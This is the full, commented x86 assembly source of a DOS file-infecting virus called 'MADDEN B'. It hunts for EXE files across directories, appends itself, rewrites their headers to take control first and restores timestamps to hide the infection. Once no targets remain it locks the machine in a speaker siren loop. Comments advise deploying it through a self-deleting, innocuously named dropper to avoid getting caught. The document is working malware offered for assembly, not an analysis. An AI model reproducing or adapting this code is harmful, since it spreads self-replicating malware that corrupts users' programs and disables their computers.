;The MADDEN B virus is an EXE file infector which can jump from directory to ;directory and disk to disk. It attaches itself to the end of a file and ;modifies the EXE file header so that it gets control first, before the host ;program. When it is done doing its job, it passes control to the host program, ;so that the host executes without a hint that the virus is there. .SEQ ;segments must appear in sequential order ;to simulate conditions in actual active virus ;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together ;HOSTSEG program code segment. The virus gains control before this routine and ;attaches itself to another EXE file. As such, the host program for this ;installer simply tries to delete itself off of disk and terminates. That is ;worthwhile if you want to infect a system with the virus without getting ;caught. Just execute the program that infects, and it disappears without a ;trace. You might want to name the program something more innocuous, though. ;MADDEN B also locks the pc into a 'siren' warble when it runs out ;of files to infect. MADDEN, included in this archive plays a fast country ;song. (MADDEN will assemble to an .file using a86, then link to produce ;infected .exe form) HOSTSEG SEGMENT BYTE ASSUME CS:HOSTSEG,SS:HSTACK PGMSTR DB 'MADDENB.EXE',0 HOST: mov ax,cs ;we want DS=CS here mov ds,ax mov dx,OFFSET PGMSTR mov ah,41H int 21H ;delete this exe file mov ah,4CH mov al,0 int 21H ;terminate normally HOSTSEG ENDS ;Host program stack segment HSTACK SEGMENT PARA STACK db 100H dup (?) ;100 bytes long HSTACK ENDS ;------------------------------------------------------------------------ ;This is the virus itself STACKSIZE EQU 100H ;size of stack for the virus NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table ;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together ;MADDEN Virus code segment. This gains control first, before the host. As this ;ASM file is layed out, this program will look exactly like a simple program ;that was infected by the virus. VSEG SEGMENT PARA ASSUME CS:VSEG,DS:VSEG,SS:VSTACK ;data storage area comes before any code VIRUSID DW 0C8AAH ;identifies virus OLDDTA DD 0 ;old DTA segment and offset DTA1 DB 2BH dup (?) ;new disk transfer area DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) EXE_HDR DB 1CH dup (?) ;buffer for EXE file header EXEFILE DB '\*.EXE',0 ;search string for an exe file ALLFILE DB '\*.*',0 ;search string for any file USEFILE DB 78 dup (?) ;area to put valid file path LEVEL DB 0 ;depth to search directories for a file HANDLE DW 0 ;file handle FATTR DB 0 ;old file attribute storage area FTIME DW 0 ;old file time stamp storage area FDATE DW 0 ;old file date stamp storage area FSIZE DD 0 ;file size storage area VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there VCODE DB 1 ;identifies this version COUNT1 DW 8 ;delay counts used by 'siren' routine COUNT2 DW 3 COUNT3 DW 20 COUNT4 DW 10 ;-------------------------------------------------------------------------- ;MADDEN B virus main routine starts here VIRUS: push ax ;save startup info in ax mov ax,cs mov ds,ax ;set up DS=CS for the virus mov ax,es ;get PSP Seg mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it call SHOULDRUN ;run only when certain conditions met signalled by z set jnz REL1 ;conditions aren't met, go execute host program call SETSR ;modify SHOULDRUN procedure to activate conditions call NEW_DTA ;set up a new DTA location call FIND_FILE ;get an exe file to attack jnz SIREN ;returned nz - no valid files left, siren time! call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode call INFECT ;move program code to file we found to attack call REST_ATTRIBUTE ;restore the original file attributes and close the file FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup pop ax ;restore startup value of ax REL1: ;relocatable marker for host stack segment mov bx,HSTACK ;set up host program stack segment (ax=segment) cli ;interrupts off while changing stack mov ss,bx REL1A: ;marker for host stack pointer mov sp,OFFSET HSTACK mov es,WORD PTR [OLDDTA+2] ;set up ES correctly mov ds,WORD PTR [OLDDTA+2] ;and DS sti ;interrupts back on REL2: ;relocatable marker for host code segment jmp FAR PTR HOST ;begin execution of host program ;-------------------------------------------------------------------------- ;First Level - Find a file which passes FILE_OK ; ;This routine does a complex directory search to find an EXE file in the ;current directory, one of its subdirectories, or the root directory or one ;of its subdirectories, to find a file for which FILE_OK returns with C reset. ;If you want to change the depth of the search, make sure to allocate enough ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, ;since the recursive FINDBR uses a different DTA area for the search (see DOS ;functions 4EH and 4FH) on each level. ; FIND_FILE: mov al,'\' ;set up current directory path in USEFILE mov BYTE PTR [USEFILE],al mov si,OFFSET USEFILE+1 xor dl,dl mov ah,47H int 21H ;get current dir, USEFILE= \dir cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root jnz FF2 ;not the root xor al,al ;make correction for root directory, mov BYTE PTR [USEFILE],al ;by setting USEFILE = '' FF2: mov al,2 mov [LEVEL],al ;search 2 subdirs deep call FINDBR ;attempt to locate a valid file jz FF3 ;found one - exit xor al,al ;nope - try the root directory mov BYTE PTR [USEFILE],al ;by setting USEFILE= '' inc al ;al=1 mov [LEVEL],al ;search one subdir deep call FINDBR ;attempt to find file FF3: ret ;exit with z flag set by FINDBR to indicate success/failure ;*************************************************************************** ;This routine enables MADDEN B virus to sound a siren ;when it can't find a file to infect ;************************************************************************** SIREN: cli ;no interrupts mov bp,15 ;we want to do hole thing 15 times mov al,10110110xb ;set up channel 2 out 43h,al ;send it to port AGIN: mov bx,500 ;start frequency high BACKERX:mov ax,bx ;place it in (ax) out 42h,al ;send LSB first mov al,ah ;move MSB into al out 42h,al ;send it next in al,61h ;get value from port or al,00000011xb ;ORing it will turn on speaker out 61h,al ;send number mov cx,COUNT1 ;number of delay loops LOOPERX:loop LOOPERX ;so we can hear sound inc bx ;increment (bx) lowers frequency pitch cmp bx,4000 ;have we reached 4000 jnz BACKERX ;if not do again BACKERY:mov ax,bx ;if not put (bx) in (ax) out 42h,al ;send LSB to port mov al,ah ;place MSB in al out 42h,al ;send it now in al,61h ;get value from port or al,00000011xb ;lets OR it out 61h,al ;time to turn on speaker mov cx,COUNT2 ;loop count LOOPERY:loop LOOPERY ;delay so we can hear sound dec bx ;decrementing (bx) rises frequency pitch cmp bx,500 ;have we reach 500 jnz BACKERY ;if not go back mov si,COUNT3 ;place longer delay in (si) mov di,COUNT4 ;place longer delay in (di) push si ;push it on the stack push di ;push it on the stack mov si,COUNT1 ;place first delay in (si) mov di,COUNT2 ;place second delay in (di) mov COUNT3,si ;save 1st in COUNT3 for next exchange mov COUNT4,di ;save 2nd in COUNT4 for next exchange pop di ;pop longer delay off stack pop si ;pop longer delay off stack mov COUNT2,di ;place it in the second mov COUNT1,si ;place it in the first dec bp ;decrement repeat count jnz AGIN ;if not = 0 do hole thing again in al,61h ;we be done and al,11111100xb ;this number will turn speaker off out 61h,al ;send it sti ;enable interrupts jmp SIREN ;-------------------------------------------------------------------------- ;SEARCH FUNCTION ;--------------------------------------------------------------------------- ;Second Level - Find in a branch ; ;This function searches the directory specified in USEFILE for EXE files. ;after searching the specified directory, it searches subdirectories to the ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this ;routine exits with Z set and leaves the file and path in USEFILE ; FINDBR: call FINDEXE ;search current dir for EXE first jnc FBE3 ;found it - exit cmp [LEVEL],0 ;no - do we want to go another directory deeper? jz FBE1 ;no - exit dec [LEVEL] ;yes - decrement LEVEL and continue mov di,OFFSET USEFILE ;'\curr_dir' is here mov si,OFFSET ALLFILE ;'\*.*' is here call CONCAT ;get '\curr_dir\*.*' in USEFILE inc di push di ;store pointer to first * call FIRSTDIR ;get first subdirectory jnz FBE ;couldn't find it, so quit FB1: ;otherwise, check it out pop di ;strip \*.* off of USEFILE xor al,al stosb mov di,OFFSET USEFILE mov bx,OFFSET DTA2+1EH mov al,[LEVEL] mov dl,2BH ;compute correct DTA location for subdir name mul dl ;which depends on the depth we're at in the search add bx,ax ;bx points to directory name mov si,bx call CONCAT ;'\curr_dir\sub_dir' put in USEFILE push di ;save position of first letter in sub_dir name call FINDBR ;scan the subdirectory and its subdirectories (recursive) jz FBE2 ;if successful, exit call NEXTDIR ;get next subdirectory in this directory jz FB1 ;go check it if search successful FBE: ;else exit, NZ set, cleaned up inc [LEVEL] ;increment the level counter before exit pop di ;strip any path or file spec off of original xor al,al ;directory path stosb FBE1: mov al,1 ;return with NZ set or al,al ret FBE2: pop di ;successful exit, pull this off the stack FBE3: xor al,al ;and set Z ret ;exit ;-------------------------------------------------------------------------- ;Third Level - Part A - Find an EXE file ; ;This function searches the path in USEFILE for an EXE file which passes ;the test FILE_OK. This routine will return the full path of the EXE file ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return ;with the c flag set. It will search a whole directory before giving up. ; FINDEXE: mov dx,OFFSET DTA1 ;set new DTA for EXE search mov ah,1AH int 21H mov di,OFFSET USEFILE mov si,OFFSET EXEFILE call CONCAT ;set up USEFILE with '\dir\*.EXE' push di ;save position of '\' before '*.EXE' mov dx,OFFSET USEFILE mov cx,3FH ;search first for any file mov ah,4EH int 21H NEXTEXE: or al,al ;is DOS return OK? jnz FEC ;no - quit with C set pop di inc di stosb ;truncate '\dir\*.EXE' to '\dir\' mov di,OFFSET USEFILE mov si,OFFSET DTA1+1EH call CONCAT ;setup file name '\dir\filename.exe' dec di push di call FILE_OK ;yes - is this a good file to use? jnc FENC ;yes - valid file found - exit with c reset mov ah,4FH int 21H ;do find next jmp SHORT NEXTEXE ;and go test it for validity FEC: ;no valid file found, return with C set pop di mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir stc ret FENC: ;valid file found, return with NC pop di ret ;-------------------------------------------------------------------------- ;Third Level - Part B - Find a subdirectory ; ;This function searches the file path in USEFILE for subdirectories, excluding ;the subdirectory header entries. If one is found, it returns with Z set, and ;if not, it returns with NZ set. ;There are two entry points here, FIRSTDIR, which does the search first, and ;NEXTDIR, which does the search next. ; FIRSTDIR: call GET_DTA ;get proper DTA address in dx (calculated from LEVEL) push dx ;save it mov ah,1AH ;set DTA int 21H mov dx,OFFSET USEFILE mov cx,10H ;search for a directory mov ah,4EH ;do search first function int 21H NEXTD1: pop bx ;get pointer to search table (DTA) or al,al ;successful search? jnz NEXTD3 ;no, quit with NZ set test BYTE PTR [bx+15H],10H ;is this a directory? jz NEXTDIR ;no, find another cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header? jne NEXTD2 ;no - valid directory, exit, setting Z flag ;else it was dir header entry, so fall through to next NEXTDIR: ;second entry point for search next call GET_DTA ;get proper DTA address again - may not be set up push dx mov ah,1AH ;set DTA int 21H mov ah,4FH int 21H ;do find next jmp SHORT NEXTD1 ;and loop to check the validity of the return NEXTD2: xor al,al ;successful exit, set Z flag NEXTD3: ret ;exit routine ;-------------------------------------------------------------------------- ;Return the DTA address associated to LEVEL in dx. This is simply given by ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record ;in its own DTA, since a search at a lower level occurs in the middle of the ;higher level search, and we don't want the higher level being ruined by ;corrupted data. ; GET_DTA: mov dx,OFFSET DTA2 mov al,2BH mul [LEVEL] add dx,ax ;return with dx= proper dta offset ret ;-------------------------------------------------------------------------- ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz ;string at ES:DI. Return ES:DI pointing to the end of the first string in the ;destination (or the first character of the second string, after moved). ; CONCAT: mov al,byte ptr es:[di] ;find the end of string 1 inc di or al,al jnz CONCAT dec di ;di points to the null at the end push di ;save it to return to the caller CONCAT2: cld lodsb ;move second string to end of first stosb or al,al jnz CONCAT2 pop di ;and restore di to point to end of string 1 ret ;-------------------------------------------------------------------------- ;Function to determine whether the EXE file specified in USEFILE is useable. ;if so return nc, else return c ;What makes an EXE file useable?: ; a) The signature field in the EXE header must be 'MZ'. (These ; are the first two bytes in the file.) ; b) The Overlay Number field in the EXE header must be zero. ; c) There must be room in the relocatable table for NUMRELS ; more relocatables without enlarging it. ; d) The word VIRUSID must not appear in the 2 bytes just before ; the initial CS:0000 of the test file. If it does, the virus ; is probably already in that file, so we skip it. ; FILE_OK: call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR jc OK_END ;error in reading the file, so quit call CHECK_SIG_OVERLAY ;is the overlay number zero? jc OK_END ;no - exit with c set call REL_ROOM ;is there room in the relocatable table? jc OK_END ;no - exit call IS_ID_THERE ;is id at CS:0000? OK_END: ret ;return with c flag set properly ;-------------------------------------------------------------------------- ;Returns c if signature in the EXE header is anything but 'MZ' or the overlay ;number is anything but zero. CHECK_SIG_OVERLAY: mov al,'M' ;check the signature first mov ah,'Z' cmp ax,WORD PTR [EXE_HDR] jz CSO_1 ;jump if OK stc ;else set carry and exit ret CSO_1: xor ax,ax sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 ret ;c is set if it's anything but 0 ;-------------------------------------------------------------------------- ;This function reads the 28 byte EXE file header for the file named in USEFILE. ;It puts the header in EXE_HDR, and returns c set if unsuccessful. ; GET_EXE_HEADER: mov dx,OFFSET USEFILE mov ax,3D02H ;r/w access open file int 21H jc RE_RET ;error opening - C set - quit without closing mov [HANDLE],ax ;else save file handle mov bx,ax ;handle to bx mov cx,1CH ;read 28 byte EXE file header mov dx,OFFSET EXE_HDR ;into this buffer mov ah,3FH int 21H RE_RET: ret ;return with c set properly ;-------------------------------------------------------------------------- ;This function determines if there are at least NUMRELS openings in the ;current relocatable table in USEFILE. If there are, it returns with ;carry reset, otherwise it returns with carry set. The computation ;this routine does is to compare whether ; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table ;is >= than 4 * NUMRELS. If it is, then there is enough room ; REL_ROOM: mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs add ax,ax add ax,ax sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables add ax,ax add ax,ax sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table cmp ax,4*NUMRELS ;enough room to put relocatables in? RR_RET: ret ;exit with carry set properly ;-------------------------------------------------------------------------- ;This function determines whether the word at the initial CS:0000 in USEFILE ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise ;it returns c reset. ; IS_ID_THERE: mov ax,WORD PTR [EXE_HDR+22] ;Initial CS add ax,WORD PTR [EXE_HDR+8] ;Header size mov dx,16 mul dx mov cx,dx mov dx,ax ;cxdx = position to look for VIRUSID in file mov bx,[HANDLE] mov ax,4200H ;set file pointer, relative to beginning int 21H mov ah,3FH mov bx,[HANDLE] mov dx,OFFSET VIDC mov cx,2 ;read 2 bytes into VIDC int 21H jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file mov ax,[VIDC] cmp ax,[VIRUSID] ;is it the VIRUSID? clc jnz II_RET ;if not, then virus is not already in this file stc ;else it is probably there already II_RET: ret ;-------------------------------------------------------------------------- ;This routine makes sure file end is at paragraph boundary, so the virus ;can be attached with a valid CS. Assumes file pointer is at end of file. SETBDY: mov al,BYTE PTR [FSIZE] and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs) jz SB_E ;all set - exit mov cx,10H ;no - write any old bytes to even it up sub cl,al ;number of bytes to write in cx mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there) add WORD PTR [FSIZE],cx ;update FSIZE adc WORD PTR [FSIZE+2],0 mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H SB_E: ret ;-------------------------------------------------------------------------- ;This routine moves the virus (this program) to the end of the EXE file ;Basically, it just copies everything here to there, and then goes and ;adjusts the EXE file header and two relocatables in the program, so that ;it will work in the new environment. It also makes sure the virus starts ;on a paragraph boundary, and adds how many bytes are necessary to do that. ; INFECT: mov cx,WORD PTR [FSIZE+2] mov dx,WORD PTR [FSIZE] mov bx,[HANDLE] mov ax,4200H ;set file pointer, relative to beginning int 21H ;go to end of file call SETBDY ;lengthen to a paragraph boundary if necessary mov cx,OFFSET FINAL ;last byte of code xor dx,dx ;first byte of code, DS:DX mov bx,[HANDLE] ;move virus code to end of file being attacked with mov ah,40H ;DOS write function int 21H mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file inc bx add dx,bx mov bx,0 adc cx,bx ;cx:dx is that number mov bx,[HANDLE] mov ax,4200H ;set file pointer to 1st relocatable int 21H mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program mov bx,[HANDLE] ;from the EXE header mov cx,2 mov ah,40H ;and write it to relocatable REL1+1 int 21H mov dx,WORD PTR [FSIZE] mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL1A ;put in correct old SP from EXE header inc bx ;at FSIZE+REL1A+1 add dx,bx mov bx,0 adc cx,bx ;cx:dx points to FSIZE+REL1A+1 mov bx,[HANDLE] mov ax,4200H ;set file pointer to place to write SP to int 21H mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program mov bx,[HANDLE] ;from EXE header mov cx,2 mov ah,40H ;and write it where it belongs int 21H mov dx,WORD PTR [FSIZE] mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL2 ;put in correct old CS:IP in program add bx,1 ;at FSIZE+REL2+1 on disk add dx,bx mov bx,0 adc cx,bx ;cx:dx points to FSIZE+REL2+1 mov bx,[HANDLE] mov ax,4200H ;set file pointer relavtive to start of file int 21H mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header mov bx,[HANDLE] mov cx,4 mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 int 21H ;done writing relocatable vectors ;so now adjust the EXE header values xor cx,cx xor dx,dx mov bx,[HANDLE] mov ax,4200H ;set file pointer to start of file int 21H mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS) mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs) shr ax,cl mov bx,WORD PTR [FSIZE+2] and bl,0FH mov cl,4 shl bl,cl add ah,bl sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) mov WORD PTR [EXE_HDR+22],ax;and save as initial CS mov bx,OFFSET FINAL ;compute new initial SS add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16) mov cl,4 shr bx,cl add ax,bx mov WORD PTR [EXE_HDR+14],ax ;and save it mov ax,OFFSET VIRUS ;get initial IP mov WORD PTR [EXE_HDR+20],ax ;and save it mov ax,STACKSIZE ;get initial SP mov WORD PTR [EXE_HDR+16],ax ;and save it mov dx,WORD PTR [FSIZE+2] mov ax,WORD PTR [FSIZE] ;calculate new file size mov bx,OFFSET FINAL add ax,bx xor bx,bx adc dx,bx ;put it in ax:dx add ax,200H ;and set up the new page count adc dx,bx ;page ct= (ax:dx+512)/512 push ax mov cl,9 shr ax,cl mov cl,7 shl dx,cl add ax,dx mov WORD PTR [EXE_HDR+4],ax ;and save it here pop ax and ax,1FFH ;now calculate last page size mov WORD PTR [EXE_HDR+2],ax ;and put it here mov ax,NUMRELS ;adjust relocatables counter add WORD PTR [EXE_HDR+6],ax mov cx,1CH ;and save data at start of file mov dx,OFFSET EXE_HDR mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table dec ax ;in order to calculate location of dec ax ;where to add relocatables mov bx,4 ;Location= (No in table-2)*4+Table Offset mul bx add ax,WORD PTR [EXE_HDR+24];table offset mov bx,0 adc dx,bx ;dx:ax=end of old table in file mov cx,dx mov dx,ax mov bx,[HANDLE] mov ax,4200H ;set file pointer to table end int 21H mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1 mov bx,OFFSET REL1 inc bx ;offset of REL1 mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2 mov bx,OFFSET REL2 add bx,3 ;offset of REL2 mov WORD PTR [EXE_HDR+4],bx ;write it to buffer mov WORD PTR [EXE_HDR+6],ax mov cx,8 ;and then write 8 bytes of data in file mov dx,OFFSET EXE_HDR mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H ret ;that's it, infection is complete! ;-------------------------------------------------------------------------- ;This routine determines whether the reproduction code should be executed. ;If it returns Z, the reproduction code is executed, otherwise it is not. ;Currently, it only executes if the system time variable is a multiple of ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1 ;executions of the program. TIMECT should be 2^n-1 ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program ;is run. This makes SHOULDRUN return Z for sure the first time, so it ;definitely runs when this loader program is run, but after that, the time must ;be an even multiple of TIMECT+1. ; TIMECT EQU 0 ;Determines how often to reproduce (1/64 here) ; SHOULDRUN: xor ah,ah ;zero ax to start, set z flag SR1: ret ;this gets replaced by NOP when program runs int 1AH and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? ret ;return with z flag set if it is, else nz set ;-------------------------------------------------------------------------- ;SETSR modifies SHOULDRUN so that the full procedure gets run ;it is redundant after the initial load SETSR: mov al,90H ;NOP code mov BYTE PTR SR1,al ;put it in place of RET above ret ;and return ;-------------------------------------------------------------------------- ;This routine sets up the new DTA location at DTA1, and saves the location of ;the initial DTA in the variable OLDDTA. NEW_DTA: mov ah,2FH ;get current DTA in ES:BX int 21H mov WORD PTR [OLDDTA],bx ;save it here mov ax,es mov WORD PTR [OLDDTA+2],ax mov ax,cs mov es,ax ;set up ES mov dx,OFFSET DTA1 ;set new DTA offset mov ah,1AH int 21H ;and tell DOS where we want it ret ;-------------------------------------------------------------------------- ;This routine reverses the action of NEW_DTA and restores the DTA to its ;original value. RESTORE_DTA: mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs mov ax,WORD PTR [OLDDTA+2] mov ds,ax mov ah,1AH int 21H ;and tell DOS where to put it mov ax,cs ;restore ds before exiting mov ds,ax ret ;-------------------------------------------------------------------------- ;This routine saves the original file attribute in FATTR, the file date and ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the ;file attribute to read/write, and leaves the file opened in read/write ;mode (since it has to open the file to get the date and size), with the handle ;it was opened under in HANDLE. The file path and name is in USEFILE. SAVE_ATTRIBUTE: mov ah,43H ;get file attr mov al,0 mov dx,OFFSET USEFILE int 21H mov [FATTR],cl ;save it here mov ah,43H ;now set file attr to r/w mov al,1 mov dx,OFFSET USEFILE mov cl,0 int 21H mov dx,OFFSET USEFILE mov al,2 ;now that we know it's r/w mov ah,3DH ;we can r/w access open file int 21H mov [HANDLE],ax ;save file handle here mov ah,57H ;and get the file date and time xor al,al mov bx,[HANDLE] int 21H mov [FTIME],cx ;and save it here mov [FDATE],dx ;and here mov ax,WORD PTR [DTA1+28] ;file size was set up here by mov WORD PTR [FSIZE+2],ax ;search routine mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE mov WORD PTR [FSIZE],ax ret ;-------------------------------------------------------------------------- ;Restore file attribute, and date and time of the file as they were before ;it was infected. This also closes the file REST_ATTRIBUTE: mov dx,[FDATE] ;get old date and time mov cx,[FTIME] mov ah,57H ;set file date and time to old value mov al,1 mov bx,[HANDLE] int 21H mov ah,3EH mov bx,[HANDLE] ;close file int 21H mov cl,[FATTR] xor ch,ch mov ah,43H ;Set file attr to old value mov al,1 mov dx,OFFSET USEFILE int 21H ret FINAL: ;last byte of code to be kept in virus VSEG ENDS ;-------------------------------------------------------------------------- ;Virus stack segment VSTACK SEGMENT PARA STACK db STACKSIZE dup (?) VSTACK ENDS END VIRUS ;Entry point is the virus